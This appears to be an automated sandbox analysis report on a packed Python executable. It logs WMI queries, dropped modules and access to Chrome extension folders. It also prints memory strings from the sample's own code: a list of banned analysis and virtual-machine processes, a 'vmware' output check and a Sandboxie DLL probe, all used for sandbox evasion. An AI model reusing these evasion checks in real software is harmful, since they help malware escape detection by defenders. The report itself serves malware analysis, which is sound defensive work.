Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Caption, Description, ProviderName FROM Win32_LogicalDisk

Queries sensitive service information (via WMI, Win32_StartupCommand, often done to detect sandboxes)

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Caption, Command FROM Win32_StartupCommand

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: rename_me_before.exe, 00000001.00000002.1980340485.000001B103050000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: QEMU-GA.EXE
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "QEMU-GA.EXE"
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "PROCESSHACKER.EXE"0A!
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMUSRVC.EXEPF!
Source: rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELF.BANNED_PROCESS = ["HTTP TOOLKIT.EXE", "HTTPDEBUGGERUI.EXE","WIRESHARK.EXE", "FIDDLER.EXE", "REGEDIT.EXE", "TASKMGR.EXE", "VBOXSERVICE.EXE", "DF5SERV.EXE", "PROCESSHACKER.EXE", "VBOXTRAY.EXE", "VMTOOLSD.EXE", "VMWARETRAY.EXE", "IDA64.EXE", "OLLYDBG.EXE",
Source: rename_me_before.exe, 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _PROCESS = ["HTTP TOOLKIT.EXE", "HTTPDEBUGGERUI.EXE","WIRESHARK.EXE", "FIDDLER.EXE", "REGEDIT.EXE", "TASKMGR.EXE", "VBOXSERVICE.EXE", "DF5SERV.EXE", "PROCESSHACKER.EXE", "VBOXTRAY.EXE", "VMTOOLSD.EXE", "VMWARETRAY.EXE", "IDA64.EXE", "OLLYDBG.EXE",
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "SBIEDLL.DLL"
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "VMUSRVC.EXE"
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "XENSERVICE.EXE"
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: XENSERVICE.EXE0G!
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "VMUSRVC.EXE"0
Source: rename_me_before.exe, 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "XENSERVICE.EXE", # XEN
Source: rename_me_before.exe, 00000001.00000003.1948127865.000001B1028B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "HTTPDEBUGGERUI.EXE","WIRESHARK.EXE", "
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE0
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMUSRVC.EXE
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "XENSERVICE.EXE"PN!
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "WIRESHARK.EXE"
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "PROCESSHACKER.EXE"
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL0Z!
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "XENSERVICE.EXE"PV!
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "OLLYDBG.EXE"
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "FIDDLER.EXE"
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: XENSERVICE.EXE
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "SBIEDLL.DLL"0
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE
Source: rename_me_before.exe, 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HANDLE = CTYPES.WINDLL.LOADLIBRARY("SBIEDLL.DLL")

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2622
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 573
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3589
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3101

Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\frozenlist\_frozenlist.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_websocket.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\_socket.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\iqddoona\iqddoona.dll	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\_cffi_backend.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_http_parser.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_helpers.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\python311.dll	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\multidict\_multidict.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_http_writer.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\yarl\_quoting_c.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\rename_me_before.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI13962\_ctypes.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\rename_me_before.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-17045

Source: C:\Users\user\Desktop\rename_me_before.exe

API coverage: 7.8 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7416	Thread sleep count: 2622 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7420	Thread sleep count: 573 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7252	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7648	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7380	Thread sleep count: 3589 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7380	Thread sleep count: 3101 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7316	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7372	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404E79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF6404E79B0
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404E85A0 FindFirstFileExW,FindClose,	0_2_00007FF6404E85A0
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF640500B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF640500B84
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404E85A0 FindFirstFileExW,FindClose,	1_2_00007FF6404E85A0
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404E79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00007FF6404E79B0
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF640500B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF640500B84

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg	Jump to behavior

Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmwareuser.exe"
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware
Source: rename_me_before.exe, 00000001.00000002.1979075425.000001B101E80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Hyper-V
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vboxservice.exe"0V!
Source: rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vmwaretray.exe", # VMware
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc.exe
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc.exepW!
Source: rename_me_before.exe, 00000001.00000003.1966603181.000001B103364000.00000004.00000020.00020000.00000000.sdmp, net1.exe, 00000030.00000002.1767121596.00000228A90E8000.00000004.00000020.00020000.00000000.sdmp, system_info.txt.1.dr	Binary or memory string: *Hyper-V Administrators
Source: rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vboxservice.exe", # VirtualBox
Source: rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: self.banned_process = ["HTTP Toolkit.exe", "httpdebuggerui.exe","wireshark.exe", "fiddler.exe", "regedit.exe", "taskmgr.exe", "vboxservice.exe", "df5serv.exe", "processhacker.exe", "vboxtray.exe", "vmtoolsd.exe", "vmwaretray.exe", "ida64.exe", "ollydbg.exe",
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray.exepC!
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga.exe
Source: rename_me_before.exe, 00000001.00000003.1891156202.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1947237648.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966603181.000001B103364000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977271486.000001B100CAC000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1969941981.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1971439621.000001B100CAB000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1891031663.000001B101762000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1890887801.000001B10175B000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000003D.00000002.1787934637.000001EFE711A000.00000004.00000020.00020000.00000000.sdmp, system_info.txt.1.dr	Binary or memory string: DISPLAY_NAME: Hyper-V Heartbeat Service
Source: rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: elif b"vmware" in stdout2.lower():
Source: rename_me_before.exe, 00000001.00000003.1966433527.000001B10039E000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1970636135.000001B1003A1000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1967629059.000001B10039F000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1972845949.000001B1003A1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2920698906.000001D218A59000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2919335648.000001D21342B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vmsrvc.exe", # VirtualBox
Source: rename_me_before.exe, 00000001.00000003.1966603181.000001B103364000.00000004.00000020.00020000.00000000.sdmp, system_info.txt.1.dr	Binary or memory string: DISPLAY_NAME: Hyper-V Volume Shadow Copy Requestor
Source: rename_me_before.exe, 00000001.00000003.1966603181.000001B103364000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1970864260.000001B10096C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1976544223.000001B10096C000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000003D.00000002.1787934637.000001EFE711A000.00000004.00000020.00020000.00000000.sdmp, system_info.txt.1.dr	Binary or memory string: DISPLAY_NAME: Hyper-V Time Synchronization Service
Source: rename_me_before.exe, 00000001.00000002.1980706775.000001B103351000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: E: vmicshutdown
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmwaretray.exe"0D!
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vboxtray.exe"
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmwareuser.exe"pD!
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: b"vmware"
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray.exepU!
Source: net1.exe, 00000030.00000002.1767121596.00000228A90E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Administrators
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: b"vmware"0
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser.exe
Source: ROUTE.EXE, 0000003A.00000002.1785653815.000001C0E6679000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmwaretray.exe"0U!
Source: rename_me_before.exe, 00000001.00000003.1946914217.000001B103351000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1891303123.000001B103351000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1980706775.000001B103351000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V H?S
